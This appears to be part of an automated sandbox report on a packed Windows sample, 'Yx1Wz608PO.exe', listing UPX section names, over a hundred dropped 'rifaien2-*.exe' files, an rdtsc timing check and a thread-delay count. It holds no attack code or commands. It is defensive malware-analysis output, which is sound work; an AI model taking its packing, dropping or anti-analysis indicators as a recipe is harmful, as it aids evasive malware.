Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-2McOOOA0Nrrao2kH.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-3v9iLS8WuKhI5HYt.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-R4CZoQ4QiFrvNxlX.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-ifcsZ28RZVEhoCrQ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-b3ZWCYI3KgQ9GVd3.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-0Jvg60acvlNTEetj.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-kCfzpzzrLEJySBVF.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-BGQBJ4RqEFRi5PE5.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-IUG4zGcbBzvzNdJv.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-6R5WtqjpUktSTdyX.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-QmVIHCjf9VqYQ95N.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-XK86MMSGqdyh0W5j.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-5JMaNQJ1bicgDKr9.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-S9mLKeVTibmzm085.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-04RCQxCd2dv0My0K.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-i3DqfztkSkxjdOOT.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-OTSOrmhlpPBxx1z0.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-3Yd5eRNryysSeb1S.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-A57jwvvBTZZBhtF8.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-iW7fhM4FzUmYb7vN.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-COs3jWZ0Jp7WCrwG.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-pZiVwtzAoHPN50fS.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-5nuJmBGqOVTVsVLa.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-SMLg9RViRYG2pkp6.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-MkDE7nUolYAvIS4K.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-SKNw52t2NOdB7utQ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-lPPuG2RrxVsPwO3X.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-nSkjqsOEKHn8zr0H.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-7tNM8tQoTbkooJnZ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-OEkS0r3Z3ATRkGxW.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-pzfLarqkprlSO2uY.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-cBftW9zYcUyutts4.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-TYDJ5mBBlE7fOmsC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-EJnWcEY70jNTCKDa.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-zmf4GTpATeIJdXHM.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-dOfNWxhGxDVM5njb.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-epoE6KTuro0m1xNJ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-VzjNx1jPI8EBAf3Q.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-YmUvcvAsSxinM0iL.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-eei39BxrAlW6aX8E.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-OIzrhQpACDLMrvoU.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-YQ9gXxkityqTj37o.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-LUEYWSrnqnW64tyL.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-sRruH8z25Svnoo9L.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-dIQ7PuzulNOWjRao.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-OMok4oiMxwrfC1T9.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-J68guXWHhSRdzOvX.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-hjuuzUmtGWBSTnRJ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-tolfs77xPfDJew2m.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-wBSYZWWVkUWmC8pQ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-kcYq3LQT7lYbdaDe.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-bq6a0w9PvOP4ugLz.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-vsxK6NHsLYHm3jak.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-TcaUQfBZEuTk2vBh.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-1u0hu8IxGgzV53b3.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-ToqId0cmF9KU3PM3.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-mZiov3C61rXFF0QW.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-r2gYxmdgnH5fh0Tl.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-6wusbbrgmMpcBTFV.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-dJL9srUqHWxbpcQx.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-NxxFR5QGAAQFk5K5.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-d57ykrWvlTZrDkZc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-WbnLg1fQUOoUplSV.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-DlmIbpKoNTOiCR62.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-AjoycwODvDSL5IAO.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-I6zVOkc7a2MoLHpC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-9ZuBld8Y8200Rptx.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-GswVbQAeth6AirwL.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-lb1B7z5W8Hr4HXyC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-Iz6XhHUHigVtubDW.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-9PANsJP5rpGyNZO8.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-WBUGMs1oWatC1b9R.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-jjtIOSCKSFCJbo5i.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-xqnIfi8BvwfeKF7n.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-AJCcQtfVrsedwKsZ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-6Q71fxUu8dtMFFZU.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-BtW7KCBSW9z60IjW.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-FgpAC8WJsCEb80wY.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-xQCbPBaBXuF4MpsD.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-nIZ5n5lptzBCBPzM.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-BxQHxwmcvdOeGoyr.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-96Wr0t4vpAyIwn2t.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-A6jVTXjeaWbirx4X.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-2ZT16A8KKoDdHefl.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-L9Cwe3j2i64ZA5Re.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-T5UBOmxC86bktOIn.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-HGWO8ZYntiaZkSsz.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-yaHGIObEHeHxPiG1.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-O1lC3PbxC9VoVOC0.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-cR40kHbNSjvP90Vq.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-ohgyDPAuvT69bY1P.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-ymsS3UBlm6KtwJ4n.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-j3TM965RhhPaWaoT.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-0G3Ju1SgiNMbtyyd.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-sz8sEdTvyndgp7Ss.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-lT8PohiYenvvawzn.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-XzoPd5NlxkpB2Qkz.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-zp2ChanxJl0jb6U5.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-vRPnVm1Qja67kBU8.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-7c2sZoOt8ZtCld1t.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-P95T1li6WZS69JnD.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-4cVt4GKfpP1OEa7u.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-7bKKZTcwZ1AvB69O.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-pjdvkdP0LsUtRXiu.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-vo3rAgWF4nEMJ6aR.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-SZUDU6LfgbhpapuC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-Yf4NmWwsZ4N1yY95.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-AbJq5JvGluWbFwwZ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-E8VR5WWssDiJ6hpJ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-VJi5bt4v05AnA3zO.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-9KCDfoTvJTmqygky.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-LRhmhC00EPTolTjv.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-vHRnMKXku4QndQxg.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-oe1pzZn0FqkWwHnO.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-iQ6mR49yFM8ZeZJU.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-sN0y7l8Im6L0ds43.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-G55U73FCHlQNV6Tv.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	File created: C:\Users\user\Desktop\rifaien2-ddYzW9sGfJmlWZnw.exe	Jump to dropped file

Source: C:\Users\user\Desktop\Yx1Wz608PO.exe

Code function: 0_2_004013A0 rdtsc

0_2_004013A0

Source: C:\Windows\System32\conhost.exe

Window / User API: threadDelayed 453

Jump to behavior

Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-2McOOOA0Nrrao2kH.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-R4CZoQ4QiFrvNxlX.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-3v9iLS8WuKhI5HYt.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-ifcsZ28RZVEhoCrQ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-b3ZWCYI3KgQ9GVd3.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-0Jvg60acvlNTEetj.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-kCfzpzzrLEJySBVF.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-BGQBJ4RqEFRi5PE5.exe	Jump to dropped file
